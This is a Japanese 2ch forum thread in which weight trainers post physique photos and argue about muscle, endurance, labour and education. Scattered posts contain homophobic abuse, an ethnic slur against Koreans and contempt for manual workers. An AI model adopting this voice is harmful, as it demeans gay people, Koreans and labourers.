恥ずかしい体ですが、みんなに早く追いつけるようにさらしてみます。

骨格良いね

水泳かなんかやってたの？

胸郭が大きいですね

>>367
[email protected]
↑
ココに写メすればいいだけ？

柔道を5年ほど行い、その後総合系に転向しました。
今までウェイト否定派だったのですが、先日ウェイトをしっかり行っている方となっている方と
試合になり、技術ではどうしようもない圧倒的な、パワーの差を感じたため
ウェイトトレーニングをしっかり行おうと思いました。

素人ですので、多くのスレでくだらない質問等をするかと思いますがよろしくご指導ください。

身長体重は？

173cm　65kg（通常時）です。

身長がある奴はいいよな。チビは鍛えていても誰も気がついてくれないorz

http://www.legal-speed.com/~matsu/kup/data/2337.jpg
高１です

何？腕？

>>378うで？

ふくらはぎ？

>>379
腕腕？

>>380
腕？

>>377
どんだけ写真取るの下手なんだ
それともなにか？いまの地震でぶれましたってか？

>>377
それだけではなんとも言えない

ﾜﾛﾀ　いい感じだ

腕です。携帯なのでぶれました。

いくらなんでもわかりにくいから
人に撮ってもらいなよ(´ﾍ｀；)

はい、でもなんかそういうのっていやらしいきがしたもので・・

腕か〜 なかなか太そう なんか運動してるんですか？ よかったらほかも載せてくだせえ

そろそろネプリーグがはじまるな

セルフタイマーで１メートル手前から撮れ。腕の太さがまったくわからん。

ここに来てください。さっきもここから乗せました
http://www.legal-speed.com/~matsu/kup/mailbbs.php

↑二頭筋乗せました。体は勘弁してくださいがりがり君ですから

だから接近して撮りすぎだってｗもっと離して撮ってくれ。
これじゃあ腕の太さがまったくわからんし。腕周り何センチ？？

たぶん２０センチくらいはあるとおもいます。

そんな細くはないだろ？本当にもう。。これだから接写だとわからんのだ。。

>>361
ν速でうｐされていたものなんで
おれはわかんね。

>>368
ウェイトやるならやり方気をつけたほうがいいぞ。漏れも総合やってるんだけ、つい筋肉つけすぎて持久力はなくなるし、自重を扱いきれなくなってきた。ちなみに１７８センチ８５キロ　ベンチＭＡＸ１５０オーバー

筋肉付けすぎて持久力が無くなるってことはないと思うよ。
別の原因だよ。

筋肉はそのままで、心肺機能を高めればいいんでは？

水泳とか筋肉がめちゃ疲れるような、、。

>>398
つまんね

筋肉つければつけるほど持久力の点では不利になるよ。
そんなの当たり前の話。
ただ、ウェイトトレと平行して持久力を維持するトレも行えばよい。

付けすぎると四肢の稼動域が狭くなるので注意

次スレからスレ分けしてみたらどうでしょう。
「脂肪を落として筋肉質なボクサーみたいな身体」（part1のちんこの人、海保の人など）と
「脂肪もあるけどバルクがあるプロレスラーみたいな身体」（柔道三段氏、たけぽん氏など）で。
どういうのがマッチョかは人によって志向が違うから、その方が余計なフレームが減っていいでしょう。

>>405
ガチムチスレとスジ筋スレでいいよ

>>398
おまえはただのデブｗ

スレ分けする必要ないような希ガス。
これからトレするって人も結構晒してくれてる訳だし、
評価する側がわきまえていればいいだけだと思う。
晒す側もどんなのを目指しているのか付け加えてくれると助かるね。

１．リフター系（筋大・脂中）例　格闘技選手
２．ビルダー系（筋大・脂小）例　ボディビルダー
３．がっしり系（筋中・脂中）例　球技種目選手、きんにくん
４．筋肉隆々系（筋中・脂小）例　陸上短距離選手、体操選手
５．スレンダ系（筋小・脂小）例　陸上長距離選手、ガクトｗ
細かく分けるとこんな感じな気がするけど
おまいらの目指すとこはどんなもんでしょう？

６．相撲系（筋大・脂大）　例　小錦
７．アキバ系（筋小・脂大）　例　岡田斗司夫
８．昆虫系（筋小、脂小）　例　アンガールズ

ビルダー系でもオフの時はリフター系とかになるので、
評価する方も ある程度の知識は欲しいものだ。

基本的にはここはビルダー系がメインじゃない？
ボテッとした身体晒されて、オンの時は違うとか
言い訳されても困るし。

>>410
それはビルダー系でいいんじゃね？
目指すとこだし
>>409
７→５目指しますみたいなのならありかもｗ

陸上短距離選手ってモーリスグリーンとかならわかるが、日本の選手なんて
全然だぞ・・・

晒さない奴はこれから発言禁止にして欲しい！！！

>>414
まずはお前から

さらした奴だと分かるようにするにはトリップつけにゃならんし、
固定だけの発言になると馴れ合いが始まるがいいのか？

俺は馴れ合いが好きだからいいが。

画像うｐコテ雑談スレになってるならともかく
このスレでそうまでする必要はないな

誰かが そろそろ 画像うｐコテ雑談スレを作る頃かな

オレも晒そうと思って写真とってみたけど、写真に撮ると実際より相当ショボく写るのな・・・。
で、止めときます。
ここで晒してる人は写真でもそこそこなんだから実際見たら相当凄いと思う！！

いい加減、自分の思い通りの感想もらえなかったからといって、「晒さないなら〜」
とかレスするのやめれば？色々言われるのイヤなら晒さなくて結構。

http://zwei.zive.net/cgi-bin/cgi-pic7/img-box/img20041007201345.jpg

３６歳　１６３cm　５５ｋｇ
ごく普通のリーマンホームトレーニーです。
もっと肉をつけたいけどなかなか太れません。

>>421
いい腹筋してますね。

写真で見たら カットとかが 結構消えちゃうし みんな大体携帯だから、なんか
細くなっちゃうんだよね。

まぁ そんなことはいいから さらしてよー

>>421
すげーｶｺｲｲ腹筋だな。
俺もこんなのになりてー

>>422
>>424
サンクス。
更に精進して頑張るよ。

コラと転載ばかりで、実際の奴は数える程もいないんだから
分けるも糞もないだろ。

>>419
ショボく写るんじゃなく、それが実際ありのままの姿なんだよ。
鏡なんかに映して自分の目で見るときは色がついてるってこと。

>>413
黒人と比べるとあれだけど、朝原とか為末が全然ってことはない。
末續も腹筋鬼だし。その他の選手も結構筋肉付いてるよ。

日本の短距離選手はあえて筋肉つけ過ぎてないらしいからね。
筋力勝負なら絶対に外国選手に勝てないから、それ以外の方向で記録を伸ばそうとしてる。

で、その失敗にアテネで気が付いて今度から筋肉つけて最高速度を
上げるように取り組むんだって。遅いぞ・・気が付くのが。

で、ビルダーって走らせたら速いの？

>>431
運動経験のないガリと競争したら400ｍくらいまでは勝てると思う。あとはぶっちぎりの負け。
普通に昔部活やってたようなガリ相手だったら10ｍくらいまでしか勝てないと思う。

筋トレだけしてる人は、時間が許す限りジョギングもした方がいい。
筋力だけあっても、スタミナないと力仕事なんかじゃ使い物にならん・・
俺の経験だけど。

きちんとボディビルしている人は そこそこ早いと思うが。
あのケビンレブローニとか５０ｍとかNFLのトップ選手より早いらしいぞ。

まぁ 運動神経のないボディビルダーとかも いるし、遅い人は遅い。早い人はマジ早い。

>421
家でそういう腹筋ってどうやって作るんですか？

>>433
まさにいまバイトで実感してるｗ
最初だけ「なんだよ重いもの運ぶとかいって軽いな」
とか余裕こいてたら２時間もたったら「はぁはぁ。だりー帰りてー」
だもん。

>>436
ベンチ60くらいが目一杯っぽい普通の人が結構強いだろ？
自信無くすよね〜。オレって使えねーってね。

胸を鍛えたがるのは　ホモ。

ムッチリしたのは　ホモ。

確かに土方とかプロの肉体労働者ってマッチョ体型ほとんどいないもんね。
良くてスジ筋ぐらいで。
実用には筋肉もありすぎれば良いってわけじゃない。

>>436
1・2ヶ月やってれば慣れるもんじゃないの？
それとも筋肉が足を引っぱるぐらいの体してんのか

>>437
脂肪分多すぎ（ｹﾞﾗ

>>439
土方やってりゃマッチョになれるわけじゃないし
マッチョだからって土方やるわけでもないでしょ
ゴツイのもいればガリもいる

>>435
初めの頃は、有酸素（ジョグ３０分　約５�q）とビッグスリー
及びクランチを毎日ひたすら続けてたよ。
多少、食事制限もしながらね。
で、脂肪がなくなってきた頃から有酸素を控え気味にし、
筋トレのレパートリーを増やしていった。
そんなカンシ゛。

ヨシさん見逃しました。もう一回うｐして！！

長野県警上田署は８日、ホテルの風呂の脱衣場でラグビー選手の裸を隠し撮りしたとして、
軽犯罪法違反の疑いで、東京都大田区の男性会社員（49）を書類送検した。

調べでは、男は８月18日、長野県真田町のホテルの男性風呂脱衣場にビデオカメラを仕掛
け、菅平で合宿中の選手らの裸を撮影した疑い。

２つ仕掛けたカメラの１つが入浴客に見つかって騒ぎになり、もう１つを取りに行って取り押さ
えられた。「たくましい男性の裸に興味があった」と供述しているという。

男は1999年ごろから毎年、ラグビー選手の裸を撮影するため、ホテルを訪れていたという。

http://www.sponichi.co.jp/society/flash/KFullFlash20041008030.html

依頼：http://news13.2ch.net/test/read.cgi/news/1097124822/262

>>442
http://www.hasegawa.ath.cx/clip/img/206.jpg

どうぞ。
携帯で撮ったヤツです。

>>444
胸の下にある腹筋まがいのスジみたいなのは何だろう？

>>444
なんかあれだな
例えるならスクリームの面みたいな体だな

ﾖｼさん、腹筋の鍛え方教えてくらさい(´д｀)

>>444
別カットきぼん！

>>445
そこも腹筋でない？
自分で触ると腹筋の最上部だと思うけど。
>>447
「これだ！」って事は特にないんだよね。
変わった事はしてなてよ。
>>448
携帯で自分撮影なんで難しいんだけど、どんなカット？

ガリガリで安心した。笑 ビックスリーやりこんでるからデカイかなと思ったけどたいしたことないね

>>449
このスレで難しいとされてる！？バイセプとかどうでしょ？（片手のみ）

http://upload.fam.cx/cgi-bin/img-box/5wn41008223824.jpg

なんか写真撮ってみると自分の体ってすげー大したことないんだな･･･
って実感した。鏡で見るともうちょっとマシに見えるのは
脳内変換されてるんだろーね。

>>450
自分でもガリだと思う。
もっとデカくなるように頑張るよ。
>>451
バイセプってどんなの？

>>445
ｾﾞﾝｷｮ筋じゃないの…。

ダブルバイセップス！

とにかくガリガリどもはもっと食え。今の二倍食え。

腹筋しまくったら腹筋われる？

↑割れないよ。

>>457
お腹の脂肪が少なくないとだめぽ

いいお腹の割り方を教えてください。

柳刃包丁使え

フロント撮りました。今度はボケてません。
ttp://49uper.com:8080/html/img-s/14683.jpg

>>462
おー、良く出来た体だな。

>>462
全裸でヨロ

>>463
ｻﾝｸｽ。

>>464
いや、そこは鍛えてないもんでご勘弁。

>>462
体重１００ｋｇくらい？

>>466
いやいや、そんな立派なもんじゃなくて、172cmの74kgです。
もともと太りにくい方なので、100kgなんて夢のような数字。

462》いい身体ですね！かっこいい！体重のわりにはでかく見えますね。いいですね。ないすです！もっとでかくなったらまた見たい！

あのね・・朝からなんなんだけど
「また見たい！！」　とか書くからホモか？と書かれるのだよ。
つーか↑はホモか・・

>>469
くだらねー
そんな事をグチグチ言ってんじゃねーよ

>>469
ホモの何が悪いってんだ！この腐れチンポ！

>>470-471　ごくろうさん・・糞ホモ君達。　死んでいいよ

>>462
その腹筋で「172cm74kg」なら、撮影の仕方によってはもっと
迫力が出ると思うよ。

朝から、くだらない・・・。>>469

>>469
いい体を素直に見れないあなたはナルシストですか？

つーか、おめーら馬鹿？？
ホモの巣窟ですなやっぱ。
素直に見ると>>いいですね。ないすです！もっとでかくなったらまた見たい！
こんなホモコメントになんのか？？　アホかおめーら。

>>475
ホモの何が悪いってんだ！この腐れチンポ！

>>476
ホモは気持ち悪い。

ナルシー（ ´ﾟ,_」ﾟ）ﾋｯｼﾀﾞﾅ

>>478
お前、体臭いよ・・ワキガだろ。

>>472
ホモじゃねーよ　いい女大好きな普通の男だ
>>469が、いちいちホモなんていう単語を、いきなり出しててるのが、馬鹿げてるのがわからんのか

まだまだですが、本格的に鍛えてまたアプします。
http://www.uploda.org/file/uporg11074.jpg

肩はまあまあだね

>>481
極軽度の漏斗胸っぽいな

http://49uper.com:8080/html/img-s/14683.jpg

>>479
おまえ体くさいよ。
風呂ってしってる？

>>485 これでもくらえ
http://www.uploda.org/file/uporg11087.jpg

だからマッチョはみんなホモなんだってば。

>>0m7oawpk
もう、なんか必死すぎて・・・。

どっちもホモ以上に迷惑。氏ね

>>436
だよね・・
スクワットやデットで150�`以上出来ても
ちょっと持久的な事手伝わされると、すぐバテル・・・
汗が出るわ出るわで・・

ttp://chinge.net/photo/gamushara/data/f1000002.jpg

>>479>>485
それはお前らの部屋の匂いですよ。

コラか・・・

>>490
汗っつーか油が溢れ出してるYO

>>491
格闘家みたいでかっこいいですね

>>491
これが理想ですなあ

コラだってば

おれにとっては、コラかどうかなんて、どうでもいいですが。

http://q1.ne7.jp/t/t.jsp?i=A9D0cmSeIGJ0
高校生です。(INトイレ)

>>499
なかなかいいね。

小さすぎ

だっちゅ〜の　とか言うグループいたな
そのマッチョ板か

468です。人の身体をほめたらホモって…もう飽きたよそれ。

★画像うｐした人達の固定雑談・ｱﾄﾞﾊﾞｲｽｽﾚ★
http://sports7.2ch.net/test/read.cgi/muscle/1097331218/

できるだけ正当な評価を得たい人へ↑

>>498
だってホモだからねｗ

寝る前のトレーニングを終えた後の画像をはやくうｐして！！！！

436だが、たしかに初めてまだ一ヶ月すらたってないので
疲れるのなんてあたりまえだろ！って思うかもしれないけど
自分としてはやっぱ、仲間内では力あるってキャラだし
体力というかサッカーなんかやるばあいだと
たいてい痩せてるやつなんかも俺よりはやくバてたりしてるのに
仕事してみると
ほっそいおっさんが体力あったりするからへこむんですよ。
からかい半分でもいいから力仕事してみてくださいよ・・・・・。
月から土まで。　とくに木曜日あたりは起きた瞬間
「いや、無理だろ今日は」とか思いますから。
んーなぞな体力ですねー力仕事って。
マラソン選手がやっても無理だし
力自慢がやってもむりだし
案外、タバコすって「タバコ休憩だから」ってつらっとちょくちょく休みながら
やる奴が続くのかもなー（笑

ほれ
http://club1069.topfong.com/postbbs/message/23362.html

ウェイトトレーニングって、力仕事する人には向いていないと思う。

超回復の理論とか、まったくあてはまらなくなっちゃうし。

確かに肉体労働者は超回復なんて言ってられないからな。
だから、土方とかには案外マッチョがいないのでは。

>>507
私は体力・筋肉無し肥満体で一日中力仕事だけど
あれは基本的に現実逃避というか妄想しながらやるモンだ。
そうじゃないと、精神が持たない。体力が有るワケでは無い。
ああいう所には頭の悪い奴やイカレタ奴が多い事を見れば分かるだろう。
キチガイがああいう所に集まると言うよりも
力仕事で狂うと言っても良い位で、私もかなりヤバくなってきた。
だから最近は考え方を変え、重量物をワザワザ持ち難い
持ち方で持って体鍛えるつもりでやっているが、妄想するよりも楽になった。
所謂、気の持ち様と言うヤツだな。
でも怪我も多いから、スポーツマンは力仕事なんぞやらない方が良いね。

>>510
土方にマッチョがいないのは、仕事で散々体使ってるから
休みにもうそれ以上体鍛えようと思わないからじゃね。

>>377-389

どういう体勢で撮影したら腕のすぐ右にくるぶしが写るんですか？
どう見ても、ふくらはぎだろ。

土方の方々はセックス強そう
マッチョは持久力なさそう

http://wibo.m78.com/wara/img/3381.jpg

右から２番目な

ウォーリーを探せかよ

　　　　　　/　　　　　　　　　　　 　 　＼
　　　 　　 |＿ --――― - _ 　　　　　 |
　　　　／　 　 　 ＿　-――ヽ＼　 　　 |
　　　/　　 ／￣ 　　　　　　　ヽ　＼　 　.|
　　　|　　/ -―､　　　　　,-―- ヽ　＼　 | 　　
　　　|　　| ￣ヾゝ/　　ヾ/_／￣　＼＿＼| 　　 　 ,.ﾍ　 　 「.|, - ､
　　　ヽ　 | >＝=､　 　　 ,,=＝< 　　ミミﾆ | 　　 ／／　.lﾆ`! ',r' ヽヽ
　　　　＼| }_(o;)｣ 》　　　L(o;)_{ 　　ミ/　ヽ　　く. <　　　//i .!　　.） }　lﾆﾆ,ヽ
　 　　　　|　 　　（⌒　　　　　　 　　ミ /　 |　 　＼＼. 〈/ .l_.!　 <ノ 　 lﾆ´-'　 　
　 　　　　|　 (_ 　ゝ ＾　 　　＿) 　　ミ ゝ /　　　 　ヽ'
　 　　　　|　　ヽ￣⌒￣￣　/ 　 　 ミ_／
　 　　　　 |　　 ＼, ―-―､│　 　 /|
　 　　　　 ヽ　 　　￣二￣Ｕ　　 ／ |
　　　　　　　 ＼＿　 　　＿／　　|
　　　　　　　　　 ＼ ￣　　　　　/

>>515
ﾜﾗﾀ

>>511
へんにテンション高い人と逆にまったく喋らない暗い人
が大多数ですね。
歌いながらやる人とかいるし。
あと、なぜか全員アウトドアが好きだ。　なんでだろう

>>507
肉体労働も出来ない御立派な体をうｐして下さいよ！
ガリ雑魚がお願いしてるんだから逃げるなよ！！！

ドカタでも鉄筋系とかはすごい。

解体とかは意外と筋肉つかない

土方や荷揚げはコツの部分が結構多いんですよ（大した体じゃない人が結構いる）
でも、今まで見た一番凄い人はバリバリマッチョでユンボ並みに掘ってました。

土方とかやってて
人間の仕事じゃないよな？って思わないのかね。
機械つかえば３０分の仕事を重機代が無いのか
土方２，３人が一日かけてやってみたりしてる。

あれってどうなの、あれで重機借りるより利益があるもんなのかね。
それとも人間が生きてくためにあえて機械は使わない方針なのか・・・。

重機借りてで30分の仕事でも、土方３人1日の方が絶対安くつくって。
重機のレンタル料や、その操縦者の賃金のこと考えれば。

なるほどね
オペレーターの賃金って高いみたいだもんな。
あんなラクな仕事なのに。

んだ、大特の免許ははっきりいって楽だよ。
キャタピラー車を直進させられれば合格。

中国なんかもっとすごいぞ。日本に来るダンプカーの
注文が、ホイストはずして固定荷台にしてその分
安くしてくれ、だもんな。ホイストつけて荷台を
傾けるより土工１０人でシャベルを使って下した
ほうが安いからだって。

>>523>>524
>人間の仕事じゃないよな？って思わないのかね。
皆思ってるよ。だから妄想しながらやるんだ。

あと重機の事だが、これは自社で持っていて
現場にも持ってきているのに使わなかったりする。
効率よりも、いかに汗水流して体動かして疲れたかが大事。楽したら駄目なんだと。
だから、安全に出来る作業をワザワザ危険な方法でやるし、怪我した時の傷跡を
勲章として自慢する。
結して金が無かったり、オペレーターが居ないワケではない。

多分お前が何の役にも立たないだけだろ。
遊ばせとくのもうっとうしいから、とりあえずなんかやっとけって感じ。

>>527
なんか、、嫌な世界だ

>>527
＞安全に出来る作業をワザワザ危険な方法でやるし、怪我した時の傷跡を
＞勲章として自慢する

ってほんとかね。
業者は労働災害を一番嫌がるし、下請けなんか怪我人を出したら、
酷い時は出入り禁止になったりするんだが。

つーか、土方話をするスレかよｗ

>>527
なわけねーだろ
俺は某ｽｰﾊﾟｰｾﾞﾈｺﾝの施工担当だったけど
ありえない話だな。
安全第一、効率重視だよ
セメント袋だって土工ですら重いって
20�`になっちゃったんだぜ？
俺が入った時は40�`/袋だったのに

いつの時代のどこの国よ

ｵｲﾗもゼネコン勤務だが、怪我・死亡事故には一番ピリピリしてるもんなぁ。
事故があったら社内大騒ぎだよ。

>>532
いつの時代の人間よ

>>526
なんとなく大型特殊免許がほしくなってきますたｗ

どんどん脱線していく・・・

しかし、さすが？ウェイトトレーニング板だけあって？工事関係の話に詳しい人がいっぱい。

>>536
ワラｗ

俺が前バイトで行ってたとこ（荷揚げ）の人たちは、かなりマッチョ志向が強かったな。
休み時間にもプロテイン飲んでたし、プロレスラーみたいなガタイの人達ばっかだった。

つまりは、やっぱりウェイトトレに励んでいる人には
土方なんてやってる低学歴な社会の負け組みが多いということですね。

現実逃避はよくないよｗ

あれ？
この話題は、肉体労働者は超回復ができないからウェイトトレーニングは向かない
ってとこから始まったんじゃなかったっけ。

でもねぇ、山岸さんだって早稲田だし、
低学歴ということはない。
むしろ知的な人でないとデカイ筋肉は付けられないよ。

例外はいるわな。
つか、それでも早稲田程度なんだよねえ（学部は知らないど）。

【社会】元気な中高年、体力低下続く子供・体力運動能力調査
http://news19.2ch.net/test/read.cgi/newsplus/1097401717/

子どもたちの体力が引き続き低下の一途をたどっているのに対し、中高年は５年前に比べて
体力が向上していることが１０日、文部科学省の２００３年度体力・運動能力調査で分かった。

東大の石井直方教授って元ミスター日本じゃん。

例外はどの分野にもいるだろ
この板に入り浸ってる奴やジムにいるような奴は・・・
だいたい土方の話で盛り上がってる時点で・・・

>>546
で君の体はどうなの？

最近始めたガリですけど

がんばってくらさい。

土方の話はいいからさ、うｐまだぁ？

http://www.legal-speed.com/~matsu/kup/data/2390.jpg

マッスル北村だって東大じゃん。
中退したらしいけど。

頭が悪い方が例外。
マッチョは総じて頭が良い。

ほれ、うｐ。

http://club1069.topfong.com/postbbs/message/23781.html

>>546
じゃあその土方の人達が一切仕事しなかったら、世の中の人皆が
困るだろ。職業を差別するな。
ホワイトカラーが偉いと思ったら大間違いだ。
俺は某商社勤務だが、周りはお前みたいな勘違い馬鹿が多い。
大体そういう奴に限って、コンビニのレジで横柄な態度取るんだよな。

>>546
>この板に入り浸ってる奴
自分のことだろ。

・

　　　　　

>>554
何を勘違いしてるんですか？

一部の低学歴でないビルダーの例を持ち出してさもマッチョは知的な人が多いと
いう論調がある事に対して言ってるわけですよ？
土方に低学歴が多いのは事実でしょう。その土方経験の話題で盛り上がれるという事は
すなわち低学歴の人が多いと想像させるに足るでしょうに。
比率の話をしてるんですよ私は。

しかし名無しのハンドルが、、むきむき名・・・考えた人は頭いいなー

頭脳もムキムキですな

>>558
たったこのスレひとつだけで、なんでトレーニー全体の比率まで決められるの？
あんた変。

>>561
勘ですよ勘。
俺が言ってるのは>>536程度の皮肉じゃないか。
なんで>>554みたいな事になるわけ？


ところでこれ酷いだろ。

>>マッスル北村だって東大じゃん。
>>中退したらしいけど。
>>
>>頭が悪い方が例外。
>>マッチョは総じて頭が良い。

何で総じることができるのよ。

まぁ上のクラスの人は頭はいいと思うよ。
馬鹿じゃボディビルで成功はできないでしょ。
栄養学、生態学、トレーニング医学・科学etc....
ボディビルは膨大な学問ですな。

ステやれば簡単にでかくなるもんでもないし…

>>562
総じて頭がよいは、マッスル北村とは関係なく書いたつもり。
超回復とか、食事・栄養のこととかをある程度理解して、
こつこつ実践して行かなきゃ筋肉付かないのだから、
おばかさんにはできないといいたかったわけ。

自分で東大のビルダーもいると書いといてなんだが、
ビルダーだからって別に頭がいいってことはないな。
トレーニング知識だってマニュアルみたいなもんだし。
頭がいい奴もいればバカもいるよ。

土方は筋トレなんかやってないだろ。

>>563-564
ゴールドジムとか行ったら、いっぱいビルダーがいるけど、
あまり裕福には見えないけど・・・。頭がいいなら、それなり
の稼ぎがあるんじゃない？
ボディビルに関して頭がいいことと、全般的・一般的に頭が
いいこととは別のような・・・。

まだ続いてる・・


いいかげんｽﾚまともになったのかと思って来てみれば・・・
土方話と低学歴話は他所でやれよ

スレタイも読めんのか？

力仕事＆筋トレしてる人は、超人的で魅力的だよね。
筋トレのために、あえて動かない仕事してるのはキモイ・・

ジムにいる人をみて裕福かどうかわかる方がおかしい。

ここは画像アップする掲示板。
変な言い合いは、「裕福・貧乏マッチョ」スレでも
たてれば？

もういいよ。

>>569
筋トレの目的も様々なのにね。
バカもほどほどに。

学生時代の土方というか力仕事系統のバイトすら
したことないモヤシ秀才が大人になってからウェイトトレのほうが笑っちゃうけどな。
そんなやつらは、ママのお金で不自由なく育って医者でもやっててくれや。

>>569
なんで動かない仕事をしてたらキモイんだ？
意味わかんね。毎日する仕事なら楽なほうが良いに決まってんだろ。
おまえドカタか？

はい、自分は完全にデスクワークです。
趣味と健康のためにだけトレしてます。
学生時代に力仕事のバイトもしたこともまったくありません。
つか仕事だの学歴だのどうでもよくないですか？ｗ
２ｃｈらしいですねｗ

>>573
年収たっぷりで筋トレが趣味なヤツより
金は大してないが土方のヤツの方がいいと？
楽なのに越したことないのにね。

土方は頭の中も砂利で埋まってるのか？

拾い
http://human5.2ch.net/test/read.cgi/male/1096213935/
34 名前：ﾆｸﾆｸ ◆S7krVrA2h6 投稿日：04/10/09 21:38:51
ｼﾞﾑ行ってきた　やっぱ体動かすと気持ち良いね！
で、ｳpした
自分でも背中がだいぶ厚くなってきたのがわかる　つか、以前は背中、ﾍﾟﾗﾍﾟﾗすぎたんだな

http://ludwig.kir.jp/ok/src/1097325350638.jpg

>>574
誰も、動かない仕事をしてたらキモイなんて言ってないだろ。
筋肉のために、あえて動かない仕事選んでるやつがキモイんだよ。
マニアック過ぎてな

>>578
キミは物事に真剣になったことはありますか？

土方の仕事は楽っていえば楽だよ。ルーティンワークだし。
駆け引きや対人関係で悩むこともない。残業もまずない。ストレスもたまるわけがない。
筋肉造りの本職としてはふさわしいかもね。

>>579
スポーツ以外に魅力感じないね。
ムキムキ目的でけで、、しまいには薬にも手を出すんだろ？

♪♪　ドカチンだーって　医者だーって　　アメンボだあーって
　　　　みんなみんな　生きているんだ　友達なんだ！

ってことで筋トレ仲間同士仲良くやっていこうぜ！！

>>581
俺もスポーツに魅力を感じてその一環で筋トレをやってる口ではあるが
何に魅力を感じるかは人それぞれだろ？
筋トレに人生かけてる人がそれに影響しない仕事を選ぶのは当然。
ムキムキ目的「でけ」で薬に手を出すのもしょうがないだろ。

そもそも動かないしごとってなんだよ？
自分の好きな仕事やってるやつが勝ち組だろ

でけ

>>570
>ジムにいる人をみて裕福かどうかわかる方がおかしい。

服、靴、バッグ、財布とかその他小物見れば、けっこう
わかるよ。意外と下着は差が出る。

>>573
モヤシにコンプレックスがあってボディビルを始めた人、
けっこういるでしょ。

>ママのお金で不自由なく育って医者でもやっててくれや。

テレビ見すぎ・・・。裕福な生活の中でウエイトやるより、低
賃金肉体労働でウエイトやるほうがいいってこと？

いい２ｃｈで虚勢はるのやめない？自分が良ければそれでいいじゃん！

>>587
ヲイヲイ、人生は虚勢の張り合いだぜ。
楽しい争いに水を差すようなコメントやめてくれる？

ホモより迷惑なインターネットになりましたね

自分は阪大（豊中の方）出ましたがそういうのどーでもいいですね
元ネタに戻りませんか
ただ筋トレしてると体力・集中力がつくので勉強や資格試験とかにもかなり有効だと
思いましたね。
まったく無関係なようで結構両者は似てると思う

でもＨＮを見ると体力・集中力がついても肝心な知識が身につかないように思える。

ほんとね。

自分は阪大（豊中の方）出ましたがそういうのどーでもいいですね
自分は阪大（豊中の方）出ましたがそういうのどーでもいいですね
自分は阪大（豊中の方）出ましたがそういうのどーでもいいですね
自分は阪大（豊中の方）出ましたがそういうのどーでもいいですね
自分は阪大（豊中の方）出ましたがそういうのどーでもいいですね
自分は阪大（豊中の方）出ましたがそういうのどーでもいいですね
自分は阪大（豊中の方）出ましたがそういうのどーでもいいですね
自分は阪大（豊中の方）出ましたがそういうのどーでもいいですね

>>573
医者は体力勝負だぞ？モヤシっ子じゃ務まらん。
医師やってる友人も、「俺らは肉体労働者だ」といつも言ってる。

お前の喩えたい仕事を言うなら、「社長の御曹司でコネ入社」の方が
正しいと思うが。

185cm110kgの鍛えぬかれた肉体！
http://sportsnavi.yahoo.co.jp/fight/pict/200304/13/030413_kak_noah_misawa_b.jpg

いい加減もう満足した？

頭冷やした？

んじゃあもう一度このスレの名前よく見てみ。

>>595
もうちょい、腹を引っ込めたほうがいいね

>>595
う〜ん凄い！凄すぎ！シュアちゃんもビックリ！

>>595
凄い腹筋ですね、僕も頑張ろうっと。

（´・ω・｀）つ【６００】

（´・ω・｀）つ【６０１】

>553
すごいわ！
一番下の画像なんか血管浮き出てるじゃない！

今まで見た一番凄い人はバリバリマッチョでユンボ並みに掘ってました。

ケツを？

＞６０３
ﾜﾛﾀ

>>586
男の下着とかじろじろ見るなよ、キモいっつうの。

下着や格好で金持ちかきめられるなら
おしゃれな俺は金持ちってみられちゃうな

なんてことないシャツが３万もするの見抜かれちゃうね
586君みたいな人には。

シャツに３万…
無駄にもほどがある。

俺が行ってるジムには皮膚科医夫婦が来ているけれど、
ﾎﾞﾛい格好で来てﾎﾞﾛい格好で帰っていくよ。車はﾚﾝｼﾞﾛｰﾊﾞｰだが。

開業医はいろいろだと思う。

http://www.hasegawa.ath.cx/clip/img/334.jpg
僕のプライベートジムです。

つーか金持ちのチープシックを知らないのは世間知らずの貧乏人ｗ

たけぽんもう要らない！

>>611
服に興味の無い金持ちもいるもんだよ。

たけぽんはここじゃない、、ムチムチだし。
まずはこちらへ・・
http://life6.2ch.net/test/read.cgi/body/1097547007/l50

>>611
( ﾟ∀ﾟ)ﾉｨｮ―ｩ 貧乏人

>>610
パワーラック、ベンチのメーカはどこですか？

床に直に置いちゃってんな、大丈夫か？

ジムでホモとは仲よくなりたくないんだけど、見分ける方法ある？

短めのパンツを履いてハミ金する→
後ろ回し蹴り等の無言のツッコミでそれとなく教えてくれるのが普通の人
それとなくチラ見してくるのがウホ

>>610
で、なに？？

ここは体を晒すスレなんだけど。

http://dokuo-ha-hitori.dyndns.tv/~dokuo/cgi-bin/zuru/source/dokuo1658.jpg

>595のおっさんの腹を引っ込めてみました。
このくらいの体だったらまだ叩かれないのかな？

三沢のようなダサい体にはなりたくない

>>621
http://sakura02.bbspink.com/test/read.cgi/gaypink/1096979931/l50
こちらへどうぞ

ヨン様すげえ。

http://japanese.chosun.com/site/data/img_dir/2004/10/11/200410110000142bae3.jpg

全部SSですよ。

ヨン様本物？
北斗の拳のよーだ。ﾎﾜﾁｬｱ!!

>>626
うちの母親も
「ヨン様って筋肉すごいよ。あの顔とあわないからもうすこしぽっちゃりしてほしい。」
って言ってたけど・・・・・・・


ここまですごいとｷﾓｲ

>>624
コラちゃうん？
ビルダーかよ・・・

体力低下、糖尿病予備軍の日本の若者と違って南朝鮮の連中は徴兵で鍛えられてるからな。

だから四は徴兵行ってないって。

ペレベルの戦闘能力になると韓国の徴兵なんて公園で遊んでいるようなものだから行かなかったんだよ

>>631
ペレベルってなんだ？と思ったら、
「ペ・ヨンジュンぐらいのレベル」
っていう意味か。グリーンベレーとかそういう類かと思った。

ムキムキ�C様の公式サイト
ttp://www.yongjoon.jp/news.asp

すげー。

誰かぺーちゃんの写真集買ったらうｐしてくれないか？

日本の下手なビルダーよりもすごいじゃん

>>633
なるほど。日本のおばちゃんたちがヨン様にほれるわけはこれだったのねん。
わかるわかるわ〜。

お前らヨン様煽ってる場合じゃないぞ、明らかに負けてんじゃんｗ

http://image.brokore.com/imx/yongjoon/11.jpg

一発抜いたー

ヨン様の肉体怪しいな。大胸筋の盛り上がりがステロイダーっぽいんだけど。
ベンチは１４０ぐらいあげそうだ
誰か専用のｽﾚ作ってくれないかな？（笑

呆れるくらいのインチキ画像。
こんな板でも信用してる人が多くてちょっと驚いてます。
大体こんなバルクを持っていたら、普段の体重は90〜100キロは軽くいきます。
まぁヨン様人気に浮かれたチョンのやることだから藁って許しましょう（ｗｗｗ

>>640
インチキではないだろう。身長１８０ってのはプロフに書いてあるが
体重が書いてないな。ま、９０ぐらいなんじゃないの？
腹筋のバルクは光の具合にしてもちょっと信じがたいけどな。

信じたくない人の気持ちは分るよ。
あの顔で、この身体。
俺達に勝ち目は始めからないよｗ

>>642
